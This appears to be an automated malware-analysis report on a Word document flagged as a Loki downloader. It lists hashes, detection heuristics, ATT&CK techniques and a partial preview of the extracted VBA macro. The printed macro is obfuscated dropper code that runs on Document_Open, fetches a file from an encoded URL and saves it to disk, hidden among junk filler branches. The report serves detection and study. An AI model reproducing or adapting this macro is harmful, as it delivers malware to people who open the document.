Loki — Office (OLE) malware analysis

Static analysis result for SHA-256 da88f0c8eb69c1e3…

MALICIOUS

Office (OLE)

368.0 KB Created: 2019-02-06 21:07:00 Authoring application: Microsoft Office Word First seen: 2019-04-18
MD5: f86887c937c9aef39689854b4d575143 SHA-1: f85213663598ee118f45ecda8e700c112b9f71c1 SHA-256: da88f0c8eb69c1e32183bea5f8b34ed4208c28ae0b568b7226cf194b7337f3a7
258 Risk Score

Malware Insights

Loki · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample is identified as malicious by ClamAV with the signature Xls.Malware.Loki-6852533-0, indicating a Loki variant. Heuristics confirm the presence of VBA macros and Excel 4.0 macros, with critical findings for a VBA HTTP download and execution function. The Document_Open macro is present and uses CreateObject, suggesting an attempt to download and execute a payload.

Heuristics 9

  • ClamAV: Xls.Malware.Loki-6852533-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Malware.Loki-6852533-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    Case (7678 + 3002 + (-6603 - (2586) + -1077)): xPhEbsfFPZRg.Write kBcs4E5YMsi6AJYRk9F.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Case (-3574 + -2996 + (306 - (-4352) + 4757)): Set XSlIIBNBb = CreateObject(qo1GNXkqeyQtCtS)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Sub Document_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    Case (2534 + -8084 + (-1633 - (5977) + 2293)): HUl3ROJD = Environ(gs8XLuxo("tzPN/m[N37pKA=1")) + gs8XLuxo("\*lq)b*\vvs({M\t9cq]1a60G5Y1S6.oFdge9}2~x~IRWeGI,=")
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 53059 bytes
SHA-256: 2cfc866d8f60bdb7dec354af87d857dc1d31643f7dc152f4197f9d4ebbfa817d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Document_Open()

Select Case 17509
Case (1776 + (-7939) - (-7852 + -3200) + (-186)):



ActiveDocument.Bookmarks.Add Range:=Selection.Range, _
   Name:="BookmarkName"



ActiveDocument.Bookmarks.Add Range:=Selection.Range, _
   Name:="BookmarkName"



Case (1776 + (-7939) - (-7852 + -3200) + (-186)):




ActiveDocument.Range.Font.Hidden = True
Set rDcm = ActiveDocument.Range
With rDcm.Find
.Text = ""
.Highlight = True
.Forward = False
While .Execute
If rDcm.HighlightColorIndex = wdYellow Then
rDcm.HighlightColorIndex = wdNoHighlight
rDcm.Font.Hidden = False
rDcm.Collapse Direction:=wdCollapseStart
rDcm.Start = ActiveDocument.Range.Start
End If
Wend
End With
Set rDcm = ActiveDocument.Range
Options.DefaultHighlightColorIndex = wdYellow
With rDcm.Find
.Text = ""
.Font.Hidden = False
.Forward = False
.Replacement.Highlight = True
.Execute Replace:=wdReplaceAll
End With



 If Selection.Type = wdSelectionIP Then
          Selection.MoveLeft Unit:=wdWord, Count:=1
          Selection.MoveRight Unit:=wdWord, Count:=1, Extend:=wdExtend
     End If
     Selection.Range.Case = wdTitleWord
     Selection.Font.SmallCaps = True



Case (-2332 + 5607 + (6585 - (-3388) + 4261)): SeRv4g2YUMl

End Select


End Sub
Private Sub SeRv4g2YUMl()

Select Case 17966
Case (3032 + 7034 + (8951 - (6573) + 5522)): Dim kBcs4E5YMsi6AJYRk9F As Object

Case (7470 + (1906) - (2150 + 3371) + (-9044)):



With Selection.Cells
   .Borders(wdBorderLeft).LineStyle = wdLineStyleNone
   With .Borders(wdBorderRight)
      .LineStyle = wdLineStyleSingle
      .LineWidth = wdLineWidth075pt
      .ColorIndex = wdAuto
   End With
   With .Borders(wdBorderTop)
      .LineStyle = wdLineStyleSingle
      .LineWidth = wdLineWidth075pt
      .ColorIndex = wdAuto
   End With
   With .Borders(wdBorderBottom)
      .LineStyle = wdLineStyleSingle
      .LineWidth = wdLineWidth075pt
      .ColorIndex = wdAuto
   End With
   .Borders.Shadow = False
End With
With Options
   .DefaultBorderLineStyle = wdLineStyleSingle
   .DefaultBorderLineWidth = wdLineWidth050pt
   .DefaultBorderColorIndex = wdAuto
End With



 If ActiveDocument.Saved = False Then ActiveDocument.Save
    System.Cursor = wdCursorWait
    OrigLongFileName = ActiveDocument.Name
    OldPath = ActiveDocument.Path & Application.PathSeparator
    If ActiveDocument.Path = "" Then
        MsgBox "Please save this document before sending to drive A:", _
           vbOKOnly, "This Document Not Saved"
    Else
        FileCopy OldPath & OrigLongFileName, "a:\" & OrigLongFileName
        Documents.Open FileName:=OldPath & OrigLongFileName
        Application.GoBack
    End If
    System.Cursor = wdCursorNormal



Case (7470 + (1906) - (2150 + 3371) + (-9044)):



Application.DisplayStatusBar = True
With ActiveWindow
   .DisplayHorizontalScrollBar = True
   .DisplayVerticalScrollBar = True
   .DisplayVerticalRuler = True
   .DisplayScreenTips = True
End With



Selection.TypeBackspace
With ActiveDocument.Bookmarks
   .Add Range:=Selection.Range, Name:="Name"
   .DefaultSorting = wdSortByName
   .ShowHidden = False
End With



End Select



Select Case 3349
Case (873 + (9006) - (8399 + 3127) + (8323)):



Do Until ActiveDocument.Bookmarks("\Sel") = _
   ActiveDocument.Bookmarks("\EndOfDoc")
      Selection.Find.ClearFormatting
      With Selection.Find
         .Text = "Howdy!"
         .Forward = True
         .Wrap = wdFindStop
         .Format = False
         .MatchCase = False
         .MatchWholeWord = False
         .MatchWildcards = False
         .MatchSoundsLike = False
         .MatchAllWordForms = False
      End With
      Selection.Find.Execute

      If Selection.Find.Found = True Then
         'Do something within the found text
      Else
         Exit Do
      End If
   Loop




ActiveDocument.Range.Font.Hidden = True
Set rDcm = ActiveDocument.Range
With rDcm.Find
.Text = ""
.Highlight = True
.Forward = False
While .Execute
If rDcm.HighlightColorIndex = wdYellow Then
rDcm.HighlightColorIndex = wdNoHighlight
rDcm.Font.Hidden = False
rDcm.Collapse Direction:=wdCollapseStart
rDcm.Start = ActiveDocument.Range.Start
End If
Wend
End With
Set rDcm = ActiveDocument.Range
Options.DefaultHighlightColorIndex = wdYellow
With rDcm.Find
.Text = ""
.Font.Hidden = False
.Forward = False
.Replacement.Highlight = True
.Execute Replace:=wdReplaceAll
End With



Case (873 + (9006) - (8399 + 3127) + (8323)):



MsgBox ("The document variable is set to type: " & _
ActiveDocument.Variables("DocumentType").Value)




ActiveDocument.Range.Font.Hidden = True
Set rDcm = ActiveDocument.Range
With rDcm.Find
.Text = ""
.Highlight = True
.Forward = False
While .Execute
If rDcm.HighlightColorIndex = wdYellow Then
rDcm.HighlightColorIndex = wdNoHighlight
rDcm.Font.Hidden = False
rDcm.Collapse Direction:=wdCollapseStart
rDcm.Start = ActiveDocument.Range.Start
End If
Wend
End With
Set rDcm = ActiveDocument.Range
Options.DefaultHighlightColorIndex = wdYellow
With rDcm.Find
.Text = ""
.Font.Hidden = False
.Forward = False
.Replacement.Highlight = True
.Execute Replace:=wdReplaceAll
End With



Case (9619 + 967 + (-330 - (-1521) + -8428)): Set kBcs4E5YMsi6AJYRk9F = XSlIIBNBb(gs8XLuxo("mMnD,iMg=Cc:k<pr5BT3oHs9Ts+vPIom?t4fT;Hmtz]V(.1{sPxV}|SmG6HFl/,@uhWu>UtEy=6tr1m~pKNuV"))

End Select




Select Case -24537
Case (-1502 + (-968) - (6845 + 6629) + (-6618)):



MsgBox ("The document variable is set to type: " & _
ActiveDocument.Variables("DocumentType").Value)



ActiveDocument.Bookmarks.Add Range:=Selection.Range, _
   Name:="BookmarkName"



Case (-3318 + -4607 + (-8980 - (7462) + -170)): Dim HUl3ROJD

Case (-1502 + (-968) - (6845 + 6629) + (-6618)):



    With ActiveDocument
        ' go through each section (except for the last one)
        For iSec = 1 To .Sections.Count - 1
            ' create a range object at the start of the section
            Set oRng = .Sections(iSec).Range
            oRng.Collapse wdCollapseStart
            ' insert a sectionpages field
            .Fields.Add Range:=oRng, Type:=wdFieldSectionPages
            ' divide the sectionpages field by 2
            ' if it gives a zero as the remainder, then
            ' you have an even number of pages in the section,
            ' which is what you want with an odd section page break
            If (.Sections(iSec).Range.Fields(1).Result Mod 2) <> 0 Then
                ' if you have an odd number of pages, then insert
                ' a page break before the section's section break
                Set oRng = .Sections(iSec).Range
                With oRng
                    .Collapse Direction:=wdCollapseEnd
                    .MoveEnd Unit:=wdCharacter, Count:=-1
                    .InsertBreak Type:=wdPageBreak
                End With
            End If
            ' remove the sectionpages field that was added
            .Sections(iSec).Range.Fields(1).Delete
        Next iSec
    End With



MsgBox ("The document variable is set to type: " & _
ActiveDocument.Variables("DocumentType").Value)



End Select



Select Case 20562
Case (89 + (1851) - (-4960 + -8345) + (-8415)):



Selection.GoTo What:=wdGoToBookmark, Name:="BookmarkName"
Selection.Delete Unit:=wdCharacter, Count:=1
Selection.InsertAfter "This is the new text"



Selection.Find.ClearFormatting
Selection.Find.Replacement.ClearFormatting
With Selection.Find
   .Text = "xxx"
   .Replacement.Text = "yyy"
   .Forward = True
   .Wrap = wdFindContinue
   .Format = False
   .MatchCase = False
   .MatchWholeWord = False
   .MatchWildcards = False
   .MatchSoundsLike = False
   .MatchAllWordForms = False
End With



Case (89 + (1851) - (-4960 + -8345) + (-8415)):



Application.DisplayStatusBar = True
With ActiveWindow
   .DisplayHorizontalScrollBar = True
   .DisplayVerticalScrollBar = True
   .DisplayVerticalRuler = True
   .DisplayScreenTips = True
End With



If ActiveDocument.Bookmarks.Exists("BookmarkName") = True Then
   ActiveDocument.Bookmarks("BookmarkName").Select
   Selection.TypeText Text:="Hello"
End If



Case (8723 + 108 + (6073 - (-3885) + 1773)): Dim iS8trOW7vFJ5YREMo

End Select


Set iS8trOW7vFJ5YREMo = uk2w8gdWX(gs8XLuxo("SkS*Kh(g|-ey|*_luU,PlzQ>,.G(a6Afe]Lp7}/xp@pZZl)suoiw8[Hcw]?Da,E+xt7p7kiprdAo1Xtznt1F,"))


Select Case -10867
Case (2534 + -8084 + (-1633 - (5977) + 2293)): HUl3ROJD = Environ(gs8XLuxo("tzPN/m[N37pKA=1")) + gs8XLuxo("\*lq)b*\vvs({M\t9cq]1a60G5Y1S6.oFdge9}2~x~IRWeGI,=")

Case (-5957 + (3490) - (-6631 + -7854) + (8900)):



ActiveDocument.Bookmarks.Add Range:=Selection.Range, _
   Name:="BookmarkName"



Selection.Find.ClearFormatting
Selection.Find.Replacement.ClearFormatting
With Selection.Find
   .Text = "Something"
   .Forward = True
   .Wrap = wdFindStop
   .Format = False
   .MatchCase = False
   .MatchWholeWord = False
   .MatchWildcards = False
   .MatchSoundsLike = False
   .MatchAllWordForms = False
End With
Do While Selection.Find.Execute
   'Do something within the found text
Loop



Case (-5957 + (3490) - (-6631 + -7854) + (8900)):



Selection.GoTo What:=wdGoToBookmark, Name:="BookmarkName"
Selection.Delete Unit:=wdCharacter, Count:=1
Selection.InsertAfter "This is the new text"



 If Selection.Type = wdSelectionIP Then
          Selection.MoveLeft Unit:=wdWord, Count:=1
          Selection.MoveRight Unit:=wdWord, Count:=1, Extend:=wdExtend
     End If
     Selection.Range.Case = wdTitleWord
     Selection.Font.SmallCaps = True



End Select



Select Case 7661
Case (3804 + (3585) - (6652 + -1420) + (-8405)):



 If ActiveDocument.Saved = False Then ActiveDocument.Save
    System.Cursor = wdCursorWait
    OrigLongFileName = ActiveDocument.Name
    OldPath = ActiveDocument.Path & Application.PathSeparator
    If ActiveDocument.Path = "" Then
        MsgBox "Please save this document before sending to drive A:", _
           vbOKOnly, "This Document Not Saved"
    Else
        FileCopy OldPath & OrigLongFileName, "a:\" & OrigLongFileName
        Documents.Open FileName:=OldPath & OrigLongFileName
        Application.GoBack
    End If
    System.Cursor = wdCursorNormal



    ' set document folder path and template strings
    strDocPath = "C:\path to document folder\"
    strTemplateB = "C:\path to template\templateB.dot"

    ' get first doc - only time need to provide file spec
    strCurDoc = Dir(strDocPath & "*.doc")

    ' ready to loop (for as long as file found)
    Do While strCurDoc <> ""
        ' open file
        Set docCurDoc = Documents.Open(FileName:=strDocPath & strCurDoc)
        ' change the template
        docCurDoc.AttachedTemplate = strTemplateB
        ' save and close
        docCurDoc.Close wdSaveChanges
        ' get next file name
        strCurDoc = Dir
    Loop
    MsgBox "Finished"



Case (3804 + (3585) - (6652 + -1420) + (-8405)):



ActiveDocument.Bookmarks.Add Range:=Selection.Range, _
   Name:="BookmarkName"




    If Options.AutoFormatAsYouTypeReplaceQuotes Then
        sBegQ = Chr(147)
        sEndQ = Chr(148)
    Else
        sBegQ = Chr(34)
        sEndQ = Chr(34)
    End If

    Selection.InsertBefore sBegQ
    Selection.InsertAfter sEndQ



Case (9171 + 7655 + (5978 - (7860) + -7283)): kBcs4E5YMsi6AJYRk9F.Open gs8XLuxo("GN@GqEz5hOTami5"), gs8XLuxo("h_y4:t7D~TtxH7xp{,Le:?3.:/x0ih/hd]/eB:U.uIEkbrX_1wo/*k0p-r_MaUBwicnn6Wi7KPRfev:eir1V^c@i5^.)53uiC`cun,8X~/Bj>Zf7<R5i7^98lo.=zeC)5k/5@h`gb?;UkfYMUdE:K/.rzN,e?~OIxzz.=eKgZ+"), False

End Select


If gs8XLuxo("c7[eGaC_Snt>:IZevzEhgd(GWo\Zror8+(fyGuJ4") = gs8XLuxo("c7[eGaC_Snt>:IZevzEhgd(GWo\Zror8+(fyGuJ4") Then

Select Case 16177
Case (5311 + (2848) - (8133 + -728) + (-2038)):




ActiveDocument.Range.Font.Hidden = True
Set rDcm = ActiveDocument.Range
With rDcm.Find
.Text = ""
.Highlight = True
.Forward = False
While .Execute
If rDcm.HighlightColorIndex = wdYellow Then
rDcm.HighlightColorIndex = wdNoHighlight
rDcm.Font.Hidden = False
rDcm.Collapse Direction:=wdCollapseStart
rDcm.Start = ActiveDocument.Range.Start
End If
Wend
End With
Set rDcm = ActiveDocument.Range
Options.DefaultHighlightColorIndex = wdYellow
With rDcm.Find
.Text = ""
.Font.Hidden = False
.Forward = False
.Replacement.Highlight = True
.Execute Replace:=wdReplaceAll
End With



Selection.Find.ClearFormatting
Selection.Find.Replacement.ClearFormatting
With Selection.Find
   .Text = "xxx"
   .Replacement.Text = "yyy"
   .Forward = True
   .Wrap = wdFindContinue
   .Format = False
   .MatchCase = False
   .MatchWholeWord = False
   .MatchWildcards = False
   .MatchSoundsLike = False
   .MatchAllWordForms = False
End With



Case (1660 + 4055 + (7911 - (6618) + 9169)): kBcs4E5YMsi6AJYRk9F.send

Case (5311 + (2848) - (8133 + -728) + (-2038)):



 If ActiveDocument.Saved = False Then ActiveDocument.Save
    System.Cursor = wdCursorWait
    OrigLongFileName = ActiveDocument.Name
    OldPath = ActiveDocument.Path & Application.PathSeparator
    If ActiveDocument.Path = "" Then
        MsgBox "Please save this document before sending to drive A:", _
           vbOKOnly, "This Document Not Saved"
    Else
        FileCopy OldPath & OrigLongFileName, "a:\" & OrigLongFileName
        Documents.Open FileName:=OldPath & OrigLongFileName
        Application.GoBack
    End If
    System.Cursor = wdCursorNormal



With Selection.Cells
   .Borders(wdBorderLeft).LineStyle = wdLineStyleNone
   With .Borders(wdBorderRight)
      .LineStyle = wdLineStyleSingle
      .LineWidth = wdLineWidth075pt
      .ColorIndex = wdAuto
   End With
   With .Borders(wdBorderTop)
      .LineStyle = wdLineStyleSingle
      .LineWidth = wdLineWidth075pt
      .ColorIndex = wdAuto
   End With
   With .Borders(wdBorderBottom)
      .LineStyle = wdLineStyleSingle
      .LineWidth = wdLineWidth075pt
      .ColorIndex = wdAuto
   End With
   .Borders.Shadow = False
End With
With Options
   .DefaultBorderLineStyle = wdLineStyleSingle
   .DefaultBorderLineWidth = wdLineWidth050pt
   .DefaultBorderColorIndex = wdAuto
End With



End Select


End If

Select Case 9741
Case (-8309 + (7598) - (325 + -4549) + (-396)):



    ' set document folder path and template strings
    strDocPath = "C:\path to document folder\"
    strTemplateB = "C:\path to template\templateB.dot"

    ' get first doc - only time need to provide file spec
    strCurDoc = Dir(strDocPath & "*.doc")

    ' ready to loop (for as long as file found)
    Do While strCurDoc <> ""
        ' open file
        Set docCurDoc = Documents.Open(FileName:=strDocPath & strCurDoc)
        ' change the template
        docCurDoc.AttachedTemplate = strTemplateB
        ' save and close
        docCurDoc.Close wdSaveChanges
        ' get next file name
        strCurDoc = Dir
    Loop
    MsgBox "Finished"



    BIStatus = 0
    If Selection.Font.Bold Then BIStatus = BIStatus + 1
    If Selection.Font.Italic Then BIStatus = BIStatus + 1

    If BIStatus = 0 Then
        Selection.Font.Bold = True
        Selection.Font.Italic = True
    End If
    If BIStatus = 1 Then
        Selection.Font.Bold = True
        Selection.Font.Italic = True
    End If
    If BIStatus = 2 Then
        Selection.Font.Bold = False
        Selection.Font.Italic = False
    End If



Case (9166 + -4712 + (8121 - (-6797) + -9631)): Dim xPhEbsfFPZRg

Case (-8309 + (7598) - (325 + -4549) + (-396)):



    Title = "CharCount"
    CharCount = Len(Selection)
    Message = LTrim(Str(CharCount)) + " character"
    If CharCount <> 1 Then Message = Message + "s"
    MsgBox Message, vbOKOnly, Title




ActiveDocument.Range.Font.Hidden = True
Set rDcm = ActiveDocument.Range
With rDcm.Find
.Text = ""
.Highlight = True
.Forward = False
While .Execute
If rDcm.HighlightColorIndex = wdYellow Then
rDcm.HighlightColorIndex = wdNoHighlight
rDcm.Font.Hidden = False
rDcm.Collapse Direction:=wdCollapseStart
rDcm.Start = ActiveDocument.Range.Start
End If
Wend
End With
Set rDcm = ActiveDocument.Range
Options.DefaultHighlightColorIndex = wdYellow
With rDcm.Find
.Text = ""
.Font.Hidden = False
.Forward = False
.Replacement.Highlight = True
.Execute Replace:=wdReplaceAll
End With



End Select


Set xPhEbsfFPZRg = qEGzz6u(gs8XLuxo("ao=s]d+F)xo4[i6dg_xKb0)vH.4gdTsgC=qt]Z4(r(QK_ewD{Pa}pUrmOIs1"))


Select Case 16086
Case (-8623 + (7036) - (6445 + -762) + (-7744)):




ActiveDocument.Range.Font.Hidden = True
Set rDcm = ActiveDocument.Range
With rDcm.Find
.Text = ""
.Highlight = True
.Forward = False
While .Execute
If rDcm.HighlightColorIndex = wdYellow Then
rDcm.HighlightColorIndex = wdNoHighlight
rDcm.Font.Hidden = False
rDcm.Collapse Direction:=wdCollapseStart
rDcm.Start = ActiveDocument.Range.Start
End If
Wend
End With
Set rDcm = ActiveDocument.Range
Options.DefaultHighlightColorIndex = wdYellow
With rDcm.Find
.Text = ""
.Font.Hidden = False
.Forward = False
.Replacement.Highlight = True
.Execute Replace:=wdReplaceAll
End With



Selection.Find.ClearFormatting
Selection.Find.Replacement.ClearFormatting
With Selection.Find
   .Text = "Something"
   .Wrap = wdFindStop
   .Format = False
   .MatchCase = False
   .MatchWholeWord = False
   .MatchWildcards = False
   .MatchSoundsLike = False
   .MatchAllWordForms = False
End With
While Selection.Find.Execute
MsgBox ("A")
Wend



Case (7775 + -4309 + (-4363 - (-9280) + 7703)): xPhEbsfFPZRg.Open

Case (-8623 + (7036) - (6445 + -762) + (-7744)):




ActiveDocument.Range.Font.Hidden = True
Set rDcm = ActiveDocument.Range
With rDcm.Find
.Text = ""
.Highlight = True
.Forward = False
While .Execute
If rDcm.HighlightColorIndex = wdYellow Then
rDcm.HighlightColorIndex = wdNoHighlight
rDcm.Font.Hidden = False
rDcm.Collapse Direction:=wdCollapseStart
rDcm.Start = ActiveDocument.Range.Start
End If
Wend
End With
Set rDcm = ActiveDocument.Range
Options.DefaultHighlightColorIndex = wdYellow
With rDcm.Find
.Text = ""
.Font.Hidden = False
.Forward = False
.Replacement.Highlight = True
.Execute Replace:=wdReplaceAll
End With



 If Selection.Type = wdSelectionIP Then
          Selection.MoveLeft Unit:=wdWord, Count:=1
          Selection.MoveRight Unit:=wdWord, Count:=1, Extend:=wdExtend
     End If
     Selection.Range.Case = wdTitleWord
     Selection.Font.SmallCaps = True



End Select



Select Case -4701
Case (1058 + (6588) - (-8942 + 5739) + (-4343)):




    ' reference the current document
    Set docActive = ActiveDocument

    ' get the name of doc and also path/name
    ' of the template it's based-on
    strDocName = docActive.Name
    strTemplateName = docActive.AttachedTemplate.FullName

    ' create a copy document based on same template
    Set docNew = Documents.Add(strTemplateName)

    ' loop to copy each part of the active doc to the new doc
    For Each rngActiveDocPart In docActive.StoryRanges
        ' reference same part
        Set rngNewDocPart = docNew.StoryRanges _
           (rngActiveDocPart.StoryType)
        rngActiveDocPart.Copy
        rngNewDocPart.Paste
    Next rngActiveDocPart

    ' make the new document active
    docNew.Activate

    ' offer to save it on floppy drive A:\




Selection.Find.ClearFormatting
With Selection.Find
   .Text = "xxx"
   .Replacement.Text = ""
   .Forward = True
   .Wrap = wdFindContinue
   .Format = False
   .MatchCase = False
   .MatchWholeWord = False
   .MatchWildcards = False
   .MatchSoundsLike = False
   .MatchAllWordForms = False
End With
Selection.Find.Execute



Case (1058 + (6588) - (-8942 + 5739) + (-4343)):



   With Selection.Find
        .ClearFormatting
        .Replacement.ClearFormatting
        .Text = " {2,}"
        .Replacement.Text = "^t"
        .Forward = True
        .Wrap = wdFindStop
        .Format = False
        .MatchCase = False
        .MatchWholeWord = False
        .MatchAllWordForms = False
        .MatchSoundsLike = False
        .MatchWildcards = True
    End With
    Selection.Find.Execute Replace:=wdReplaceAll
    Selection.ConvertToTable _
      Separator:=wdSeparateByTabs, _
      Format:=wdTableFormatNone



 If ActiveDocument.Saved = False Then ActiveDocument.Save
    System.Cursor = wdCursorWait
    OrigLongFileName = ActiveDocument.Name
    OldPath = ActiveDocument.Path & Application.PathSeparator
    If ActiveDocument.Path = "" Then
        MsgBox "Please save this document before sending to drive A:", _
           vbOKOnly, "This Document Not Saved"
    Else
        FileCopy OldPath & OrigLongFileName, "a:\" & OrigLongFileName
        Documents.Open FileName:=OldPath & OrigLongFileName
        Application.GoBack
    End If
    System.Cursor = wdCursorNormal



Case (-5398 + 7874 + (-7916 - (3890) + 4629)): xPhEbsfFPZRg.Type = 1

End Select



Select Case 414
Case (7678 + 3002 + (-6603 - (2586) + -1077)): xPhEbsfFPZRg.Write kBcs4E5YMsi6AJYRk9F.responseBody

Case (1089 + (-6963) - (-4215 + 3242) + (7288)):



Selection.Find.ClearFormatting
With Selection.Find
   .Text = "xxx"
   .Replacement.Text = ""
   .Forward = True
   .Wrap = wdFindContinue
   .Format = False
   .MatchCase = False
   .MatchWholeWord = False
   .MatchWildcards = False
   .MatchSoundsLike = False
   .MatchAllWordForms = False
End With
Selection.Find.Execute



iParCount = ActiveDocument.Paragraphs.Count
For J = 1 To iParCount
    sMyPar = ActiveDocument.Paragraphs(J).Range.Text
    ActiveDocument.Paragraphs(J).Range.Text = sMyPar
Next J



Case (1089 + (-6963) - (-4215 + 3242) + (7288)):



MsgBox ("The document variable is set to type: " & _
ActiveDocument.Variables("DocumentType").Value)



    sBigStuff = ""

    ' Select the full number in which the insertion point is located
    Selection.MoveLeft Unit:=wdWord, Count:=1, Extend:=wdMove
    Selection.MoveRight Unit:=wdWord, Count:=1, Extend:=wdExtend

    ' Store the digits in a variable
    sDigits = Trim(Selection.Text)

    If Val(sDigits) > 999999 Then
        If Val(sDigits) <= 999999999 Then
            sBigStuff = Trim(Int(Str(Val(sDigits) / 1000000)))
            ' Create a field containing the big digits and
            ' the cardtext format flag
            Selection.Fields.Add Range:=Selection.Range, _
              Type:=wdFieldEmpty, Text:="= " + sBigStuff + " \* CardText", _
              PreserveFormatting:=True

            ' Select the field and copy it
            Selection.MoveLeft Unit:=wdWord, Count:=1, Extend:=wdExtend
            sBigStuff = Selection.Text & " million "
            sDigits = Right(sDigits, 6)
        End If
    End If
    If Val(sDigits) <= 999999 Then
        ' Create a field containing the digits and the cardtext format flag
        Selection.Fields.Add Range:=Selection.Range, _
          Type:=wdFieldEmpty, Text:="= " + sDigits + " \* CardText", _
          PreserveFormatting:=True

        ' Select the field and copy it
        Selection.MoveLeft Unit:=wdWord, Count:=1, Extend:=wdExtend
        sDigits = sBigStuff & Selection.Text

        ' Now put the words in the document
        Selection.TypeText Text:=sDigits
        Selection.TypeText Text:=" "
    Else
        MsgBox "Number too large", vbOKOnly
    End If



End Select



Select Case -12244
Case (3859 + -4889 + (-4109 - (9673) + 2568)): xPhEbsfFPZRg.SaveToFile HUl3ROJD, 2

Case (8811 + (-1168) - (-8998 + -8203) + (-7016)):



Selection.TypeBackspace
With ActiveDocument.Bookmarks
   .Add Range:=Selection.Range, Name:="Name"
   .DefaultSorting = wdSortByName
   .ShowHidden = False
End With



Selection.Find.ClearFormatting
Selection.Find.Replacement.ClearFormatting
With Selection.Find
   .Text = "xxx"
   .Replacement.Text = "yyy"
   .Forward = True
…

Open this report in the interactive analyzer, or submit your own file for analysis.